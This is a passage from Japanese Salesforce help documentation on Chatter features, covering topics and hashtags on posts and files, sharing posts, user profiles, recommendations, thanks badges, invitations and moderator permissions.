• ユーザの名前の下にある [支持済み] の横の をクリックすれば、いつでも他のユーザに対する支持を削
除できます。他のユーザに対する支持を削除しても、そのユーザが知識のあるユーザリストから削除され
ない場合があります。これは、そのユーザが他のユーザから支持されていたり、トピックに関して有意義
な活動をしていたりするためです。

[知識のあるユーザ] リストから自分自身を削除する手順は、次のとおりです。
• 自分の名前の下で [自分を非表示] をクリックして除外します。自分を非表示にすると、他のユーザはあな

たの名前をリストで確認できなくなります。再度表示する場合は、[ユーザを支持] をクリックしてから、
名前の横にある [自分を表示] をクリックして、除外を取り消すことができます。

ユーザのすべての専門知識を表示する手順は、次のとおりです。
• ユーザプロファイルページに移動し、[概要] タブをクリックします。次に、トピック名をクリックしてト

ピック詳細ページを表示するか、サムアップアイコンをクリックして支持を追加または削除します。

3685

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



重要: Work.comスキルが有効になっている場合、プロファイルページの知識のあるトピックはスキルに置
き換えられます。(Salesforce Communities ユーザの場合、デフォルトのコミュニティでのみトピックがスキ
ルに置き換えられます)。自分で宣言したスキルは、知識レベルの計算時に考慮されます。

関連トピック:

スキルの概要

投稿へのトピックの追加

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

投稿およびコメントに既
存のトピックを追加する
• 「トピックの割り当

て」

投稿およびコメントに新
しいトピックを追加する
• 「トピックの作成」

投稿を整理したり、見つけやすくしたりするには、投稿にトピックを追加しま
す。投稿直後に自分の投稿にトピックを追加したり、任意の投稿にフィードで
トピックをいつでも直接追加したりできます。

メモ: すべてのトピック名は、非公開グループおよびレコードでのみ使用
されるものも含め、トピックリストに表示され、すべてのトピック名と説
明は検索可能です。

メモ: ファイルを含む投稿にトピックを追加すると、そのトピックは、そ
れらのファイルにも追加されます。

1. 投稿の右上隅にある をクリックします。
2. [トピックを追加] または [トピックを編集] をクリックします。
3. トピックエディタで、テキストの入力を開始します。入力し始めると推奨リ

ストが表示されるのでそこからトピックを選択したり、あるいはそのまま入
力を続けて独自の一意のトピックを作成したりできます。複数のトピックを
追加するには、各トピックの後にカンマを入力します。
カンマ ( , ) および閉じる角括弧 ( ] ) は、トピックを自動的に終了します。他の
句読点、記号、区切り文字は、トピック名でサポートされています。
投稿には最大 10 個のトピックを追加できます。

4. トピックの追加が完了したら、[完了] をクリックするか Enter キーを押しま
す。

追加したトピックは、トピックの詳細ページへのリンクになります。

関連トピック:

投稿とコメントへのハッシュタグトピックの追加
お気に入りとしてのトピックの追加
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投稿とコメントへのハッシュタグトピックの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

投稿およびコメントに既
存のトピックを追加する
• 「トピックの割り当

て」

投稿およびコメントに新
しいトピックを追加する
• 「トピックの作成」

投稿やコメントにトピックを追加すると、整理したり、見つけやすくしたりで
きます。
たとえば、顧客の Universal Paper 社向けの営業プレゼンテーションの作業をして
いることを投稿する場合、ハッシュタグトピック [#Universal Paper]を更新に追加
します。誰でもこのトピックをクリックすれば、Universal Paper 社についての詳
細情報を参照したり、Universal Paper を話題にしているユーザやグループを確認
したりできます。

メモ: ファイルを含む投稿にトピックを追加すると、そのトピックは、そ
れらのファイルにも追加されます。

ハッシュタグトピックを追加する手順は、次のとおりです。
1. 更新を作成するときに「#」を入力し、その後に任意のテキストを続けます。

入力し始めると推奨リストが表示されるのでそこからトピックを選択する
か、任意のタイミングで Enter キーを押して最大 3 語の新規トピックを追加で
きます。
カンマ ( , ) および閉じる角括弧 ( ] ) は、トピックを自動的に終了します。他の
句読点、記号、区切り文字は、トピック名でサポートされています。

2. [共有] をクリックします。
ハッシュタグトピックは、トピックの詳細ページへのリンクになります。ト
ピック (ハッシュタグなし) も自動的に更新の最上位の投稿に追加されます。
たとえば、[#Universal Paper] を同僚の投稿の下のコメントに追加すると、ト
ピック [Universal Paper] がその同僚の投稿に追加されます。

更新を投稿した後、ハッシュタグトピックを削除するには、投稿またはコメント全体を削除するしかありませ
ん。ただし、最上位の投稿からトピックを削除することはできます。

関連トピック:

投稿へのトピックの追加

3687

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



ファイルへのトピックの追加

ユーザ権限

ファイルにトピックを追
加する
• ファイルに対する「閲

覧者」

および

「トピックを割り当て
る」(既存トピックの追
加)

または

「トピックを作成」(新
規トピックの追加)

トピックを使用して、ファイルを目立つように表示します。フィード投稿に追
加したトピックは投稿またはコメント内のファイルにも追加されます。これら
のトピックを検索する場合、ファイルが検索結果に含まれます。
フィードに投稿されたファイルにトピックを追加するには、必要なトピックを
ファイルが添付されたフィード投稿に追加 (ページ3686)します。通常トピックや
ハッシュタグトピック (ページ3687)を追加できます。トピックは投稿やコメント
に添付されたファイルに自動的に追加されます。

メモ: Lightning Experienceでハッシュタグトピックの追加はサポートされます
が、トピック詳細の検索と表示は Salesforce Classic でのみ使用できます。

例: 

Kimmy がトピック [営業の研修]、[西地域]、[フィードバック要求] を自分
の投稿に追加したので、これらのトピックは添付ファイルにも追加されま
す。このため、彼女の同僚はトピックをクリックしてそのトピックに関連
する他の投稿、ファイル、レコードを検索できます。トピックがファイル
以外のレコードに関連付けられている場合は、[レコード] タブに移動して
[ファイル]を選択します。それ以外の場合は、[フィード]タブを使用してト
ピックのすべての投稿とファイルを表示します。
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投稿からのトピックの削除

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

ユーザ権限

投稿からトピックを削除
する
• 「トピックの割り当

て」

適用されなくなったトピックを投稿から削除します。
トピックは、通常トピックであっても、ハッシュタグトピックであっても、
フィードの投稿から削除できます。トピックを削除しても、完全に削除される
わけではなく、投稿から削除されるだけです。ハッシュタグのテキストを削除
しても、ハッシュタグトピックは削除されません。トピックを投稿から削除す
る前に、誰がトピックを追加したのかを確認してください。他の誰かがトピッ
クの更新を追跡しており、それについて認識していない場合もあります。
1. 投稿の右上隅にある をクリックします。
2. [トピックを編集] をクリックします。
3. 投稿から削除するトピックの横にある をクリックします。
4. [完了] をクリックするか Enter キーを押します。
トピックを投稿から削除すると、トピックの詳細ページのトピックフィードと
すべてのフォロワーのフィードから投稿が削除されます。

お気に入りとしてのトピックの追加

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

関心のあるトピックに関する最新情報をすばやく表示するには、トピックをお
気に入りとして追加します。
1. トピック名をクリックして、トピックの詳細ページに移動します。
2. 右上の をクリックして、[お気に入りに追加] を選択します。

お気に入りの名前は、トピック名と同じになります。

ヒント: トピックのお気に入りを参照する場合、フィードの上部にあるト
ピック名をクリックすると、トピックの詳細ページに直接移動できます。

関連トピック:

すべてのトピックの参照

3689

ユーザとの更新の共有 (Chatter)すべてのユーザとのコラボレーション



ユーザが話しているトピックの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザが話しているトピックは、Chatter プロファイルの [最近の話題] セクショ
ンに表示されます。このセクションは、ユーザがどのトピックの知識があるか、
何に興味を持っているかを他の人が知る助けになります。これらは、自分と他
のユーザが最近 (過去 2 か月以内)、投稿やコメントした投稿に最も頻繁に追加し
たトピックです。プライバシー上の理由により、[最近の話題] トピックには、非
公開グループまたはレコードのフィードでのみ使用されたトピックは含まれま
せん。5 個までトピックを表示でき、最近追加されたうち最も頻繁に追加された
トピックが最初に表示されます。トピックを使い始めてまもない場合や、過去
2 か月にトピックを使用しなかった場合は、トピックを頻繁に使用するようにな
るまで [最近の話題] セクションは表示されません。このセクションのトピック
をクリックすると、トピックの詳細ページが表示されます。

メモ:  [次に関する知識がある] リストまたはWork.comスキルが有効になって
いる場合、プロファイルページの [最近の話題] セクションはそれらのスキ
ルに置き換えられます。

グループで話しているトピックの参照

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

グループで話しているトピックは、[最近の話題] セクションのグループの詳細
ページの上部に表示されます。このセクションは、グループがどのトピックの
知識があるか、何に興味を持っているかを知るのに役立ちます。これらは、過
去 2 か月間でグループ投稿に最近追加されたうち最も頻繁に追加されたトピッ
クです。5 個までトピックを表示でき、最近追加されたうち最も頻繁に追加され
たトピックが最初に表示されます。グループでトピックを使用していない場合
は、トピックを頻繁に使用するようになるまで、[最近の話題] セクションは表示
されません。このセクションのトピックをクリックすると、トピックの詳細ペー
ジが表示されます。
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会社のトピックのトレンドの表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatterタブの [トピックのトレンド] エリアには、Chatterで今まさに議論されてい
るトピックが表示されます。ユーザが投稿やコメントに特定のトピックを追加
したり、短期間に同じトピックの投稿にコメントやいいね! をしたりする頻度が
高いほど、そのトピックがトピックのトレンドになる可能性が高まります。た
とえば、同僚が近々 Dreamforce の会議に出席することになっており、Chatterでそ
れについての議論を開始すると、「Dreamforce」がトピックのトレンドとして表
示されます。トピックのトレンドは、人気度のみに基づくのではなく、通常は、
会議やプロジェクトの期限など、活動の急な増加を伴う、頻繁には行われない
1 回限りの行動に関連するトピックが表示されます。プライバシー上の理由によ
り、[トレンドトピック] には、非公開グループまたはレコードのフィードでのみ
使用されたトピックは含まれません。

関連トピック:

ユーザが話しているトピックの表示
グループで話しているトピックの参照

投稿の共有

Chatter 投稿の共有

エディション

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、
Developer Edition、および
Database.com Edition

共有すると、プロファイルやグループに公開投稿をすばやくコピーできます。
この変更は Salesforce Classic にのみ適用されます。
テキスト、リンク、またはファイルが含まれる、自分のプロファイルへの公開
Chatter 投稿は、グループと、または投稿へのリンクを使用して共有できます。
投稿を共有する場合、次の点に留意してください。
• あなた自身のプロファイルへの投稿は共有できますが、別の人のプロファイ

ルへの投稿は共有できません。
• ファイルと添付ファイルを含む、元の投稿は共有できますが、コメントとい

いね! は共有できません。
• 共有された投稿に対してコメントはできますが編集はできません。
• フィード追跡項目とカスタムフィード項目 (承認、ダッシュボードのスナッ

プショット、ケースの相互関係など) は共有できません。
• レコードフィードからは投稿を共有できません。
• 所属するグループとのみ投稿を共有できます。
• 顧客を許可するグループへの投稿は共有できます。ただし、顧客とその他のグループメンバーは、非公開

グループからの投稿を共有できません。
• 社内の Chatter ユーザのみが、メールまたはインスタントメッセージ内のリンクを使用して、共有した投稿

を参照できます。
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誰かが投稿を共有すると、メール通知を受信します。メール通知を変更するには、[設定] から [クイック検索]

ボックスに「Chatter のメール設定」と入力し、[Chatter メール設定] を選択します。

関連トピック:

1 つの Chatter 投稿の表示

プロファイルへの Chatter 投稿の共有設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

公開投稿をプロファイルにコピーして、フォローする人とその投稿を共有しま
す。
公開投稿は共有できますが、承認、ダッシュボードのスナップショット、また
はケースの相互関係など、フィード追跡項目とカスタムフィード項目は共有で
きません。
1. Chatter フィードで共有する投稿を検索します。
2. [共有] をクリックします。
3. 投稿についてコメントを入力するか、コメント項目を空白のままにします。
4. ドロップダウンリストから、[私のプロファイル] を選択します。
5. [共有] をクリックします。

共有した投稿は、プロファイルの Chatter フィードに表示されます。

関連トピック:

投稿の表示

グループとの Chatter 投稿の共有

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

所属するグループと投稿を共有できます。
公開投稿は共有できますが、承認、ダッシュボードのスナップショット、また
はケースの相互関係など、フィード追跡項目とカスタムフィード項目は共有で
きません。アーカイブ済みグループやリストに記載しないグループとは投稿を
共有することができません。
1. Chatter フィードで共有する投稿を検索します。
2. [共有] をクリックします。
3. 投稿についてコメントを入力するか、コメント項目を空白のままにします。
4. ドロップダウンリストから、[グループ] を選択します。
5. グループ名の一部を入力して、リストからグループを選択します。

投稿とファイルを一緒に共有している場合、グループメンバーにファイルの
表示のみを許可するには [閲覧者] を選択し、グループメンバーにファイルのダウンロードと変更を許可す
るには [コラボレータ] を選択します。

6. [共有] をクリックします。
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共有した投稿は、グループのフィードに表示されます。

関連トピック:

投稿の表示

Chatter 投稿へのリンクの共有設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

メールまたはインスタントメッセージを介して、他の Chatter ユーザと投稿を共
有します。
投稿へのリンクを共有する場合、次の点に留意してください。
• 非公開グループからの投稿のリンクは共有できません。
• 公開投稿は共有できますが、承認、ダッシュボードのスナップショット、ま

たはケースの相互関係など、フィード追跡項目とカスタムフィード項目は共
有できません。

• 投稿を表示するには、投稿へのリンクの送信先ユーザがChatterユーザである
必要があります。

1. Chatter フィードで共有する投稿を見つけます。
2. [共有] をクリックします。
3. 上部隅にある [投稿へのリンクを表示] をクリックします。
4. リンクをコピーしてメールまたはインスタントメッセージに貼り付け、投稿を共有するユーザに送信しま

す。
メールまたはインスタントメッセージの受信者が投稿へのリンクをクリックすると、Chatter 更新にその投
稿が表示されます。

関連トピック:

投稿の表示

1 つの Chatter 投稿の表示

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ、レコード、またはグループのフィードで、Chatter投稿を 1 つだけ表示で
きます。
• フィード内で、[昨日の 12:57 AM] など、投稿の下に表示されるタイムスタン

プをクリックします。
• Chatterメール通知の中で、メール本文中にあるリンクをクリックすると、関

連する投稿のみが表示されます。
• フィードをすべて表示するには、投稿の上の [すべての更新]をクリックしま

す。

関連トピック:

Chatter 投稿へのリンクの共有設定
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組織内のユーザ
自分の個人用プロファイルを更新したり、組織の他の人のプロファイルを参照したりします。

[人] の概要
Chatter プロファイルの概要
写真や自分に関する情報で個人用の Chatter プロファイルをカスタマイズすると、他のユーザがあなたにつ
いてもっとよく知ることができます。
プロファイルのベストプラクティス
[フォローしている人] リストと [フォローされている人] リストの使用
おすすめユーザ
同僚への感謝
バッジで同僚を認識し、感謝を直接 Chatter フィードに投稿します。
[プロファイル] ページの [所有ファイル] リスト
ユーザのプロファイルの [所有ファイル] リストには、そのユーザが最近 Chatter の投稿に添付したファイル
が表示されます。
Chatter の活動と影響
自分が行った投稿の数、自分が受け取ったいいね! の数など個人のChatter活動の統計情報を参照し、相対的
な Chatter の影響度を確認します。
Chatter にユーザを招待する

[人] の概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

[人] タブと、[Chatter] タブの [人] リストには、組織のユーザのリストが表示され
ます。
• 人の名前または写真をクリックすると、プロファイルが表示されます。
• [フォローする] をクリックすると、Chatter フィードに人の更新が表示されま

す。顧客はフォローできません。
• [フォローしている] をクリックすると、Chatter フィードにユーザの更新が表

示されなくなります。
• リストを並び替えるには、次の列ヘッダーをクリックします。

– [名前]をクリックすると、名前のアルファベット順に並び替えられます。
デフォルトでは、リストはアルファベットの昇順に並び替えられます。

– [フォローしている]をクリックすると、自分がフォローしているか、して
いないかに基づいて並べ替えられます。

• ページ上部の検索ボックスで名または姓の文字を入力してユーザの検索を行います。リストは入力内容に
基づいて自動的にフィルタされます。

• リストの上にある文字をクリックすると、その文字で始まる姓のユーザが表示されます。
• 組織のサイズによって、[人] リストに表示される内容が決まります。たとえば、最大規模の組織では、人

の名前の検索を開始するまでユーザは表示されません。おおよそのユーザ数を計算するときに、内部ユー
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ザ、コミュニティユーザ、Chatter ユーザを含むすべての Salesforce ユーザライセンスの種類がカウントされ
ます。

すべての人のフィルタのデフォル
ト

デフォルトの表示おおよそのユーザ数

組織内の全員すべての人25 以下

最近プロファイルを参照した人最近参照した人26 ～ 25,000

検索を開始するまで非表示最近参照した人25,000 超

• Chatter ネットワークに参加するよう、ユーザを招待します。招待されたユーザは、プロファイルを表示し
たり、フィードに投稿したり、グループに参加したりすることができます。ただし、Salesforce のデータま
たはレコードを表示することはできません。

• Chatterがフォローすることがおすすめされる人を表示します。[おすすめユーザ] セクションで [さらに表示]

をクリックすると、すべてのおすすめされる人が表示されます。おすすめが表示されない場合は、すべて
のおすすめされる人をすでにフォローしています。

デフォルトでは、Chatter アプリケーションには [Chatter] タブ、[プロファイル] タブ、[人] タブ、[グループ] タ
ブ、[ファイル] タブが表示されます。どのページにも右上隅に表示されるアプリケーションメニューから[Chatter]

アプリケーションを選択します。システム管理者がこれらのタブを他のアプリケーションに追加すると、それ
らのアプリケーションにタブが表示されます。ただし、表示がすでにカスタマイズされている場合は表示され
ません。こうした場合、それらのアプリケーションにタブを追加します。

関連トピック:

Chatter モデレータ

Chatter プロファイルの概要

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

写真や自分に関する情報で個人用のChatterプロファイルをカスタマイズすると、
他のユーザがあなたについてもっとよく知ることができます。
自分のプロファイルを表示するには、アプリケーションにある自分の名前をク
リックします。また、[プロファイル] タブをクリックするか、ページ上部のあ
なたの名前  > [私のプロファイル]をクリックして、プロファイルを表示すること
もできます (利用可能な場合)。他のユーザのプロファイルを表示するには、その
ユーザの名前をクリックします。
このページでは、次の操作を実行できます。
1. プロファイル写真を変更する。
2. [連絡先] セクションで をクリックして、連絡先情報を編集する。
3. 各種タブでコンテンツを表示する。タブはシステム管理者が設定し、必要に

応じてカスタムタブを追加したり、デフォルトタブを削除したりします。
• [フィード] タブ — Chatter フィードを表示したり、更新を投稿したりします。
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• [概要] タブ — [自己紹介] セクションを更新したり、Q&A やアイデアコミュニティの活動を表示したり、
グループを表示したり、誰をフォローしているか、誰にフォローされているかを確認したりします。

4. プロファイルの編集や個人設定へのアクセスを行う。

メモ: 他のユーザのプロファイルを表示する場合、その他のオプションを使用できます。たとえば、
他のユーザのフォローまたはフォロー解除を行ったり、非公開メッセージを送信したりできます (利用
可能な場合)。

関連トピック:

プロファイルのベストプラクティス
おすすめユーザ
アイデアおよび質問のコミュニティ活動の表示
個人情報の更新

プロファイルのベストプラクティス

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

プロファイルを使用する場合、次のヒントを活用してください。
• [自己紹介] セクションの情報は検索可能で、他のユーザが見やすくなってい

ます。
• 投稿は、[フィード] タブと、自分をフォローしているユーザのフィードに表

示されます。フィードから投稿を削除するには、投稿の上にマウスを置き、
をクリックします。

• 連絡先情報のメールアドレスを変更するには、新しいメールアドレスに送信
された確認メールのリンクをクリックする必要があります。

• プロファイルのないユーザも存在します。たとえば、Salesforce to Salesforce を
使用する組織のポータルユーザや接続ユーザなどです。

[フォローしている人] リストと [フォローされている人] リストの使用

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、Contact
Manager Edition、および
Developer Edition

自分が誰を、何を、何件の項目をフォローしているのか、および自分が誰にフォ
ローされているのかを確認するには、プロファイルの [フォローしている人] リ
ストと [フォローされている人] リストを表示します。自分が誰もフォローして
いない場合、[フォローしている人] リストで [フォローするユーザを検索] をク
リックして [人] リストを表示し、他の人のフォローを開始します。他の人のプ
ロファイルでも [フォローしている人] リストと [フォローされている人] リスト
を表示できます。

メモ: Salesforce システム管理者が Chatter を有効にすると、組織内の一部の
人とレコードが自動的にフォローされます。

リスト全体をアルファベット順で表示するには、どちらかのリストで[すべて表
示] をクリックします。
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• [次へ] や [前へ] リンクを利用して、リストをさらに表示できます。
• 必要に応じて、[フォローしている人] リストを人やオブジェクト (取引先、ファイルなど) でフィルタするこ

とができます。
• 自分の [フォローしている人] リストで をクリックすると、人またはレコードのフォローを停止できま

す。
• 他の人の [フォローしている人] リストで [フォローする] をクリックすると、人またはレコードをフォ

ローできます。
• 任意の [フォローされている人] リストで、 [フォローする]をクリックすると人をフォローでき、 をク

リックすると人のフォローを停止できます。
• ウィンドウを閉じるには [完了] をクリックします。

関連トピック:

投稿の表示
おすすめユーザ

おすすめユーザ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

Chatter では、同じ関心事に基づいてあなたがフォローを希望する可能性のある
組織の人をおすすめします。たとえば、Chatter は次のようなユーザをおすすめ
します。
• あなたと同じユーザをフォローしているユーザ。
• マネージャ、自分のマネージャの部下、自分の部下など、自分の管理階層の

人物。
Salesforce では、個人情報ページにある [マネージャ] 項目を使用して、これ
らのおすすめを決定します。この項目が空白である場合、Chatterは管理階層
に基づいたユーザのおすすめはしません。Salesforce 管理者のみが [マネー
ジャ] 項目を編集できます。

• 人気のある、つまり、多くのフォローされている人がいるユーザ。
• Chatter の新規ユーザ。
• あなたと同じレコードに関心があるユーザ。たとえば、あなたが最近参照した取引先を見たり編集したり

したユーザです。
• あなたがすでにフォローしている人と一緒にフォローされるユーザ。たとえば、Madison Rigsby をフォロー

すると、Madison をフォローしている多くのユーザが Suzanne Powell もフォローしている場合、Suzanne がお
すすめユーザとして表示されます。

おすすめの拡張リストを表示するには、[おすすめ] セクションの [さらに表示]をクリックします。おすすめが
表示されない場合は、すべてのおすすめされる人をすでにフォローしています。

関連トピック:

Chatter プロファイルの概要
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同僚への感謝

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Chatter が有効なすべての
エディション

バッジで同僚を認識し、感謝を直接 Chatter フィードに投稿します。

メモ: Chatter Free ライセンスでは、感謝に関連する機能が制限されていま
す。
報奨機能には、Work.com ライセンスが必要です。この機能には、報奨に関
連するバッジの付与、作成、および受領が含まれます。

他のユーザがよい仕事をした場合や、業績を評価する場合は、感謝します。

段階的な手順: Chatter で感謝する
1. Chatter パブリッシャーから、[感謝] をクリックします。

[感謝] が表示されない場合、[さらに表示] をクリックし、パブリッシャーのドロップダウンメニューから
[感謝] を選択します。

2. 感謝するユーザの名前を入力します。
現在、一度に感謝できるのは 1 人のみですが、投稿のメッセージで他のユーザにメンションできます。

3. [バッジを変更] を選択して投稿に別のバッジを選択するか、またはデフォルトのバッジのままにします。
12 個の事前定義されたバッジから選択できます。バッジ画像を選択すると、そのバッジに関するその他の
情報が表示されます。

4. 感謝する人へのメッセージを入力します。
5. 感謝を投稿する対象者を選択します。

• フォローされている人すべてに投稿する場合は、[私のフォローされている人] を選択します。
• 特定のグループに投稿するには、[グループ]を選択します。グループを検索して、リストからグループ

を選択します。感謝する人は、投稿のメッセージの冒頭で @メンションされます。非公開グループに投
稿すると、グループのメンバーのみにグループへの投稿が表示されます。ただし、バッジは受信者のプ
ロファイルの [レコグニション] タブに公開されて表示されます。

6. [共有] をクリックします。
感謝投稿は、自分のフィードと、自分が感謝しているユーザのフィードに表示されます。公開グループまたは
レコードページに投稿する場合、投稿はグループフィードまたはレコードフィードおよびプロファイルに表示
されます。非公開グループに投稿すると、グループへの投稿は非公開グループのメンバーのみに表示されま
す。ただし、バッジは受信者のプロファイルの [レコグニション] タブに公開されて表示されます。
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[プロファイル] ページの [所有ファイル] リスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザのプロファイルの [所有ファイル] リストには、そのユーザが最近 Chatter

の投稿に添付したファイルが表示されます。
リストには、プロファイル所有者がプロファイル、グループ、レコードページ
で投稿に添付したファイルや、Salesforce CRM Content ライブラリにアップロード
したファイルが含まれます。リストにマウスポインタを置いて選択可能なオプ
ションを表示するか、ファイル名をクリックして、ファイルの詳細ページにア
クセスします。
[すべて表示]をクリックすると、プロファイル所有者が添付およびアップロード
したすべてのファイルのリストが表示されます。このリストには、アクセス権
のないファイル、[ドキュメント] タブのドキュメント、[メモと添付ファイル] 関
連リストの添付ファイルは含まれません。このリストでは、次の操作を実行で
きます。
• 非公開ファイルをアップロードするか、ファイルをユーザやグループと共有

したり、リンクを使用して共有したりする。
• ファイルをプレビューする (プレビューを使用できる場合)。
• フィードでファイルをフォローして、更新を受信する。
• ファイル名をクリックして、ファイルの詳細ページを参照する。

関連トピック:

ファイルリストの絞り込み

Chatter の活動と影響

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、
Developer Edition、および
Contact Manager Edition

自分が行った投稿の数、自分が受け取ったいいね! の数など個人のChatter活動の
統計情報を参照し、相対的な Chatter の影響度を確認します。
Chatter 活動の統計情報には、自分が行った投稿やコメントの数、受け取ったコ
メントの数、自分の投稿とコメントにいいね! と言った人の数などが含まれま
す。Chatter 影響度には、自分の活動統計と他の人の統計との比較が表示されま
す。
• トップインフルエンサーは基本的なコンテンツを定期的に共有することで、

コラボレーションへの取り組みを主導します。
• アクティブインフルエンサーは他のユーザに参加とナレッジの共有を促しま

す。
• オブザーバーは静かな参加者、または Chatter を開始したばかりのユーザで

す。
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写真の下のプロファイルで自分のChatter活動の統計と影響度を確認できます。同僚のプロファイルでその同僚
のChatter活動と影響度を参照することもできます。プロファイルを参照する場合、そのユーザ固有の影響度に
ついての詳細は、プロファイル写真の下の にマウスポインタを置きます。

関連トピック:

Chatter プロファイルの概要

Chatter にユーザを招待する

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter にユーザを招待す
る
• 「招待を許可」

Salesforce ライセンスを持たない社内ユーザが Chatter を使用できるよう招待でき
ます。招待されたユーザは、プロファイルを表示したり、フィードに投稿した
り、グループに参加したりすることができます。ただし、Salesforce のデータま
たはレコードを表示することはできません。
Chatter にユーザを招待する手順は、次のとおりです。
1. [人] ページの [Chatter にユーザを招待] または [Chatter] ページの [同僚を招待]

をクリックします。

メモ: 招待できるのは、会社のドメインのメールアドレスを持つ人のみ
です。
ポータルユーザは、招待を送信できません。

2. Chatter から招待を送信するには、メールアドレスを入力して [送信] をクリッ
クします。

3. 自分のメールアカウントを使用して招待を送信するには、[招待状を送信して
ください。] をクリックします。デフォルトのメールクライアントが設定さ
れている場合、招待リンクを含むメールがメールプログラムで開きます。設
定されていない場合、招待リンクが表示されるので、そのリンクをコピーし
てメールに貼り付けることができます。

また、Chatterを使用していない同僚を公開グループに招待することもできます。または、非公開グループの所
有者とマネージャから招待状を送ることができます。顧客招待が有効になっている場合、所有者とマネージャ
も顧客を招待できます。グループへの参加招待を承諾したユーザも、Chatter に参加できます。
1. [グループ] をクリックし、グループ名をクリックします
2. グループの詳細ページの [メンバー] セクションで、[ユーザを招待する] をクリックします。

グループの所有者またはマネージャであれば、[メンバーの追加/削除]、[Salesforce Chatter に招待しましょ
う。] の順にクリックすることもできます。

3. メールアドレスを入力して、[送信] をクリックします。
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メモ: ユーザが 1 日以内に招待を受け入れなかった場合、2 日目に Chatter からメールのリマインダーが送
信されます。ユーザがその招待を受け入れなかった場合、翌日に Chatter からもう一度リマインダーが送
信されます。
Chatterへの参加招待の承諾には最長 60 日間の猶予があります。この猶予期間に管理者が [招待を許可]の
選択を解除したり、リストからユーザのドメインを削除したりすると、ユーザは招待を承諾できなくな
ります。
組織で代理認証のシングルサインオンが有効な場合、招待されたユーザはパスワード登録ページをスキッ
プします。招待されたユーザは、ユーザ名がすでに存在する場合、招待を受け入れることができません。

関連トピック:

非公開グループの Chatter 顧客について

Chatter Free ユーザの管理

Chatter モデレータ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方

使用可能なエディション:
Group Edition、Enterprise
Edition、Professional
Edition、Performance
Edition、Unlimited Edition、
Contact Manager Edition、
および Developer Edition

ユーザ権限

Chatter をモデレートする
• 「Chatter のモデレー

ト」

モデレータは、次の権限を持つ Chatter ユーザです。
• Chatter Free ユーザの有効化または無効化
• Chatter Free ユーザのモデレータへの任命または権限の取り消し
• 組織内の全ユーザの詳細へのアクセス
• 表示されている投稿やコメントの削除
ユーザがモデレータかどうかは、そのユーザのプロファイル写真につけられる
特殊バナーで確認できます。

関連トピック:

Chatter グループロールによって実行可能なアクション
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Chatter Free ユーザへのモデレータ権限の割り当て

エディション

使用可能なエディション:
